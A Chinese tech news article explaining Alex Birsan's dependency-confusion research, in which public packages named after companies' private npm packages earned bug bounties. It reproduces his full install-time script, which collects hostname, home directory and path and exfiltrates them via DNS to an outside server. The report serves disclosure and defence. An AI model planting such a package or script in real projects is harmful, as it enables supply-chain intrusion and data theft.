利用 Npm 的缺陷,他获得了 130,000 美元的赏金

新闻
一个搞安全的程序员 Birsan, 利用 npm 的设计缺陷,成功进入了 35 个公司的内网系统,这些公司还是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此获得了超过 130,000 美元的赏金。那么他是怎么做到的呢?

 [[390104]]

最近看到一个新闻,开眼了。

一个搞安全的程序员 Birsan, 利用 npm 的设计缺陷,成功进入了 35 个公司的内网系统,这些公司还是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此获得了超过 130,000 美元的赏金。那么他是怎么做到的呢?

一些包管理工具,比如说 Python 的 pip,Node.js 的 npm,Java 的 maven,可以从开源的仓库下载软件包,同时自动管理依赖项。其实我们都假设这些软件包是安全的,事实上,每个人都可以制作并上传自己开发的软件,一旦有人不怀好意,上传一些别有用心的软件包,你下载后软件会自动安装和执行,这就相当于被黑了。

问题是如何让别人下载呢?开源软件的代码是公开的,有问题的软件包被下载的概率很低,前攻击者会依靠社会工程手段或将软件命名为正常名称易拼写出错的名称,安装时一旦拼写错误,就下载了恶意软件。这种方式有一定的局限性,只要稍微认真点,就不会出错。

而 Birsan 用的是非常隐蔽的方式,就算软件包的名称完全正确,也有可能下载到恶意软件。具体的过程是这样的:

Birsan 发现了 PayPal 内部使用的 package.json,这里面有一些软件包并不在公共仓库中:

上图中标红色的部分,是 PayPal 内部使用的 npm 软件包,由公司内部使用和存储。看到这一点,Birsan 想知道,这些软件包是私有的,如果在公共 npm 存储库中存在同名的软件包会怎么样?

为了检验这个假设,Birsan 开始寻找一些私有内部软件包的名称,这可以在 GitHub 仓库或知名公司的 CDN 中的清单文件中找到,这些软件包在公共开放源代码仓库中是不存在的。

然后,Birsan 在开源存储库(例如 npm,PyPI 和 RubyGems)上使用相同的名称创建伪造项目。这些伪造的项目都是在他的真实帐户下完成的,并且有免责声明,并声明此程序包用于安全研究目的,并且不包含任何有用的代码。

结果发现,这些包管理工具会优先下载公共存储库上的软件包,如果不指定软件包的版本号,则优先下载高版本的软件包。这样,Birsan 只需发布与公司内部名称相同的软件包,就可以成功地对 Microsoft,Apple,PayPal,Shopify,Netflix,Tesla,Yelp 和 Uber 进行攻击。

那么你可能想知道,如何进行攻击的呢?软件包管理器,比如 pip,npm,具有预安装脚本,一旦下载就会进行安装,安装过程执行的代码就是黑客写好的代码,至于这些代码具体能做什么事情,写过程序的人都知道,你可以发挥想象。鉴于大多数公司网络都被保护的很好,想渗透没那么容易,Birsan 使用的是 DNS 渗透。

下面显示的代码就是 Birsan 制作的 npm 软件包 analytics-paypal(该软件包现在已从 npm 中删除)。

  1. const dns = require('dns'); 
  2. const os = require("os"); 
  3.  
  4. const suffix = '.dns.alexbirsan-hacks-paypal.com'
  5. const package = 'analytics-paypal'
  6.  
  7. data = package +  
  8.     '__' + os.hostname() + 
  9.     '__' + os.homedir() + 
  10.     '__' + __dirname; 
  11.  
  12. data = data.replace(/[^a-zA-Z0-9._]/g, 
  13.     function(m){ 
  14.         return '_' + m.charCodeAt(0).toString(16); 
  15.     }); 
  16.  
  17. data = data.match(/.{1,50}/g); 
  18.  
  19. dns.setServers(['46.101.225.109']); 
  20.  
  21. id = Math.random().toString(36).substring(7); 
  22.  
  23. data.forEach(function(chunk){ 
  24.     dns.resolve(id + '.' + chunk + suffix, 'A',console.log) 
  25. }); 

该脚本将在 analytics-paypal 依赖项被下载后立即自动启动,并向 dns.alexbirsan-hacks-paypal.com 发出 DNS 请求。从 PayPal 系统收到的回叫会提醒 Birsan,发出请求的 IP 属于贝宝 PayPal ,以及用户名和受感染系统的主目录。

充分验证这些假冒的软件包已成功渗透到公司网络后,Birsan 随后将其报告给这些被入侵的公司,并因此获得赏金。这些漏洞赏金计划让 Birsan 累计获得了 13 万美元的奖励。

那么这些公司都是如何修复的呢?修复可能会比较难,因为 pip,npm 是开源工具,工具本身存在缺陷,解铃还须系铃人,最好的解决办法就是维护一个健康的开源生态,比如给这些工具提供更安全的配置,对开源仓库中提交的软件包进行审核等等。

开源工具的缺陷并不是某一公司的问题,但可以对这些缺陷进行缓解,比如对于私有的软件包,使用前可以进行签名校验,确保该软件包来自于公司内部。

最后的话

我自己使用 pip,npm 时只是觉得它们如此的方便,非常依赖它们,以至于从未怀疑这些工具也存在安全问题,所谓最依赖的工具一旦出了问题也是最致命的,如果你的公司也存在类似的情况,是时候做出一些改进了。

从 Birsan 的经历中也可以看出,如果你有一个有趣的想法,请立即去验证它,无论结果如何,你都不虚此行。

本文转载自微信公众号「Python七号」,可以通过以下二维码关注。转载本文请联系Python七号公众号。

 

责任编辑:武晓燕 来源: Python七号
相关推荐

2021-12-09 11:48:17

勒索软件恶意软件安全

2020-12-01 22:23:45

物联网投资回报IOT

2010-02-24 09:13:04

2021-05-24 09:35:21

黑客源代码访问权限

2021-07-21 20:26:34

Google地图交通拥挤

2023-08-13 16:10:05

Windows 10Windows 11

2011-08-11 15:27:45

网康国家专利

2021-12-01 07:26:12

AIOps企业

2010-08-05 10:09:42

屏蔽连接件元器件西蒙

2021-07-15 17:31:44

无人机人工智能AI

2015-07-02 16:56:00

程序员能力

2017-10-12 13:00:22

LinuxRISC-V多核开源处理器

2020-08-31 08:02:48

黑客漏洞网络攻击

2019-07-10 16:45:49

LinuxLinux游戏游戏性能

2022-01-26 07:47:22

黑客漏洞网络安全

2020-06-15 15:52:00

恶意软件黑客网络攻击

2018-05-31 11:24:53

维谛技术

2015-12-03 17:28:21

Veeam

2024-01-25 16:03:24

2016-09-22 15:15:57

思科
点赞
收藏

51CTO技术栈公众号